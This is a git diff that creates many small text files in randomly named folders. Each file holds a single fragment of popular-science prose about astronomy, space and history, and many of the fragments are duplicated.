diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_elkrkullceknybef.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_elkrkullceknybef.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_elkrkullceknybef.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_esiozlcr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_esiozlcr.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_esiozlcr.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_fcpbvfxoieajzazq.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_fcpbvfxoieajzazq.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_fcpbvfxoieajzazq.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_fmhdtcnawnmlovspnunhfbe.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_fmhdtcnawnmlovspnunhfbe.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_fmhdtcnawnmlovspnunhfbe.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_gzpzedddqqtqicmnotl.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_gzpzedddqqtqicmnotl.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_gzpzedddqqtqicmnotl.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_jjzbmpuvnnvonwgpjcu.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_jjzbmpuvnnvonwgpjcu.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_jjzbmpuvnnvonwgpjcu.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_kadrvzdezrnkapvcuw.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_kadrvzdezrnkapvcuw.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_kadrvzdezrnkapvcuw.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_kzsgvjshwfkntxptajr.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_kzsgvjshwfkntxptajr.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_kzsgvjshwfkntxptajr.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_meahcymstxciu.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_meahcymstxciu.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_meahcymstxciu.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_olmewlqmrtxeibvwtciszbc.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_olmewlqmrtxeibvwtciszbc.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_olmewlqmrtxeibvwtciszbc.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_oqnxuptza.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_oqnxuptza.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_oqnxuptza.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_vplfiglohpt.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_vplfiglohpt.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_vplfiglohpt.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_vyqeclosdkazwlrxqunxq.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_vyqeclosdkazwlrxqunxq.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_vyqeclosdkazwlrxqunxq.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_yfeerpwwszlmnohqhfhh.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_yfeerpwwszlmnohqhfhh.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_yfeerpwwszlmnohqhfhh.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_zateuvthykxxyzmxxgqqzo.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_zateuvthykxxyzmxxgqqzo.txt
new file mode 100644
index 0000000..f0b871a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/file_zateuvthykxxyzmxxgqqzo.txt
@@ -0,0 +1 @@
+had been informally scheduled to set one of its two descent craft gently down on the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/hcsvccgfapjb.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/hcsvccgfapjb.txt
new file mode 100644
index 0000000..1ecca9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/hcsvccgfapjb.txt
@@ -0,0 +1 @@
+somewhere else in time. Such worm holes in space, a little like those in an apple, have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/hltwijpxbdqus.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/hltwijpxbdqus.txt
new file mode 100644
index 0000000..8f905be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/hltwijpxbdqus.txt
@@ -0,0 +1 @@
+no dust here, no clouds, just an atmosphere getting palpably denser. Plenty of sunlight is
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/jguuuslhct.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/jguuuslhct.txt
new file mode 100644
index 0000000..0f69ec3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/jguuuslhct.txt
@@ -0,0 +1 @@
+greatest seaport on the planet. Once you knew the Earth to be a sphere of modest diameter,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/mrklrtwovaqavo.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/mrklrtwovaqavo.txt
new file mode 100644
index 0000000..be2905a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/mrklrtwovaqavo.txt
@@ -0,0 +1 @@
+distant than the Moon, although closer than Saturn. Comets shine, as the planets do, by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/qjpontunbv.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/qjpontunbv.txt
new file mode 100644
index 0000000..88a1536
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/qjpontunbv.txt
@@ -0,0 +1 @@
+cycle of cosmic deaths and rebirths with no information trickling through the cusps of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/qltzdfbblrqalqxeckhxm.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/qltzdfbblrqalqxeckhxm.txt
new file mode 100644
index 0000000..55029d1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/qltzdfbblrqalqxeckhxm.txt
@@ -0,0 +1 @@
+Between them runs an unbroken thread in the history of the human species. From sphinx to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/whwbtjwavg.txt b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/whwbtjwavg.txt
new file mode 100644
index 0000000..547bfd9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_cbuspegnaj/folder_umvtsfyyom/folder_suovtssdry/folder_ldkbjrtejv/whwbtjwavg.txt
@@ -0,0 +1 @@
+proliferation of living things and intelligent beings and spacefaring civilizations. But from
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/cetcpwpotl.txt b/big_zip/big-zip-files/folder_chrijeenfm/cetcpwpotl.txt
new file mode 100644
index 0000000..897604e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/cetcpwpotl.txt
@@ -0,0 +1 @@
+billion years. Fragments of food are transmogrified into cellular machinery. Today’s white
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/cltndwakxkgmeobhxyjsc.txt b/big_zip/big-zip-files/folder_chrijeenfm/cltndwakxkgmeobhxyjsc.txt
new file mode 100644
index 0000000..259d454
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/cltndwakxkgmeobhxyjsc.txt
@@ -0,0 +1 @@
+deliver to Mars and which then goes about reproducing itself from indigenous materials allover the polar caps. There is a category of such machines. We call them plants. Some are
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/ddabulgfcbvzfyvvawnkw.txt b/big_zip/big-zip-files/folder_chrijeenfm/ddabulgfcbvzfyvvawnkw.txt
new file mode 100644
index 0000000..009ab9b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/ddabulgfcbvzfyvvawnkw.txt
@@ -0,0 +1 @@
+knowledge that would be always hidden. He chose the composition of distant stars andplanets. We would never physically visit them, he thought, and with no sample in hand it
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_bjjewhnzyimtxdwbclylgh.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_bjjewhnzyimtxdwbclylgh.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_bjjewhnzyimtxdwbclylgh.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_censwwdzswt.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_censwwdzswt.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_censwwdzswt.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_dktduhtqa.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_dktduhtqa.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_dktduhtqa.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_dkysgsjs.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_dkysgsjs.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_dkysgsjs.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_dszggpdoecpdhwxwndkgfxx.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_dszggpdoecpdhwxwndkgfxx.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_dszggpdoecpdhwxwndkgfxx.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_fmpsjotyjajva.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_fmpsjotyjajva.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_fmpsjotyjajva.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_gsnawpgc.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_gsnawpgc.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_gsnawpgc.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_gueqveasvjjuuyr.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_gueqveasvjjuuyr.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_gueqveasvjjuuyr.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_hgamtsutqqpjdi.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_hgamtsutqqpjdi.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_hgamtsutqqpjdi.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_hziahawocmztekzt.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_hziahawocmztekzt.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_hziahawocmztekzt.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_jnzcavfcczxzjs.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_jnzcavfcczxzjs.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_jnzcavfcczxzjs.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_kkqusyhjbbcmezpvelmrpg.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_kkqusyhjbbcmezpvelmrpg.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_kkqusyhjbbcmezpvelmrpg.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_lniwltvmhadzrkhzrpjjiquv.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_lniwltvmhadzrkhzrpjjiquv.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_lniwltvmhadzrkhzrpjjiquv.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_lnzhestm.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_lnzhestm.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_lnzhestm.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_mqfdzpzzyqderlpxfx.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_mqfdzpzzyqderlpxfx.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_mqfdzpzzyqderlpxfx.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_pmujbqofobprdnu.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_pmujbqofobprdnu.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_pmujbqofobprdnu.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_qypiviwninkti.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_qypiviwninkti.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_qypiviwninkti.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_spkegqdgjpgsyfgnmbqad.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_spkegqdgjpgsyfgnmbqad.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_spkegqdgjpgsyfgnmbqad.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_uayelgif.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_uayelgif.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_uayelgif.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_unfvtafohqivycpdky.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_unfvtafohqivycpdky.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_unfvtafohqivycpdky.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_ygjxzcvhydlsfjbnz.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_ygjxzcvhydlsfjbnz.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_ygjxzcvhydlsfjbnz.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_zbdypafhgksk.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_zbdypafhgksk.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_zbdypafhgksk.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_zjxhxculytdwbqc.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_zjxhxculytdwbqc.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_zjxhxculytdwbqc.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/file_zyyawmftgccyqzjrpyso.txt b/big_zip/big-zip-files/folder_chrijeenfm/file_zyyawmftgccyqzjrpyso.txt
new file mode 100644
index 0000000..85a41e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/file_zyyawmftgccyqzjrpyso.txt
@@ -0,0 +1 @@
+readings of early versions of this book, their constructive and creative suggestions for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/gdnjtsgorgbaamvngtakpsh.txt b/big_zip/big-zip-files/folder_chrijeenfm/gdnjtsgorgbaamvngtakpsh.txt
new file mode 100644
index 0000000..bf452a9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/gdnjtsgorgbaamvngtakpsh.txt
@@ -0,0 +1 @@
+divorced the Earth from the heavens - divisions that were to dominate Western thinking for
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/iaurgzvdfyqkwdvvlfgl.txt b/big_zip/big-zip-files/folder_chrijeenfm/iaurgzvdfyqkwdvvlfgl.txt
new file mode 100644
index 0000000..24aeece
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/iaurgzvdfyqkwdvvlfgl.txt
@@ -0,0 +1 @@
+you cut an atom, you transmute the elements.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/jgznpujqiiyg.txt b/big_zip/big-zip-files/folder_chrijeenfm/jgznpujqiiyg.txt
new file mode 100644
index 0000000..94939a7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/jgznpujqiiyg.txt
@@ -0,0 +1 @@
+single intelligent being could be distributed among many different organisms, or even many
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/kmixujbnf.txt b/big_zip/big-zip-files/folder_chrijeenfm/kmixujbnf.txt
new file mode 100644
index 0000000..9fe85f1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/kmixujbnf.txt
@@ -0,0 +1 @@
+great radioactive cloud was deposited on the tiny atoll of Rongalap, 150 kilometers away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/ladvjormywziysjssvwyg.txt b/big_zip/big-zip-files/folder_chrijeenfm/ladvjormywziysjssvwyg.txt
new file mode 100644
index 0000000..0e45503
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/ladvjormywziysjssvwyg.txt
@@ -0,0 +1 @@
+And the gums let me dwell! . .
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/mnmcwiwsydrmknvlazdo.txt b/big_zip/big-zip-files/folder_chrijeenfm/mnmcwiwsydrmknvlazdo.txt
new file mode 100644
index 0000000..af63922
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/mnmcwiwsydrmknvlazdo.txt
@@ -0,0 +1 @@
+slave. The meaner sort of mechanic has a special and separate slavery.’ Plutarch wrote: ‘It
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/mzdwsapec.txt b/big_zip/big-zip-files/folder_chrijeenfm/mzdwsapec.txt
new file mode 100644
index 0000000..16ad82a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/mzdwsapec.txt
@@ -0,0 +1 @@
+tenuously on the surface of a strangely cold, anomalously solid, exotically remote sphere of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/nahhxpkdvfogf.txt b/big_zip/big-zip-files/folder_chrijeenfm/nahhxpkdvfogf.txt
new file mode 100644
index 0000000..e76f930
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/nahhxpkdvfogf.txt
@@ -0,0 +1 @@
+were literally beaten into swords and spears.*
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/pcclbelei.txt b/big_zip/big-zip-files/folder_chrijeenfm/pcclbelei.txt
new file mode 100644
index 0000000..0f94c25
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/pcclbelei.txt
@@ -0,0 +1 @@
+galaxies orbiting each other so closely that their edges are bent by the gravity of their
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_chrijeenfm/putspqdhzglaylef.txt b/big_zip/big-zip-files/folder_chrijeenfm/putspqdhzglaylef.txt
new file mode 100644
index 0000000..843f35a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_chrijeenfm/putspqdhzglaylef.txt
@@ -0,0 +1 @@
+high a level as in Spain, and as well-organized and orderly. Considering that these people
\ No newline at end of file
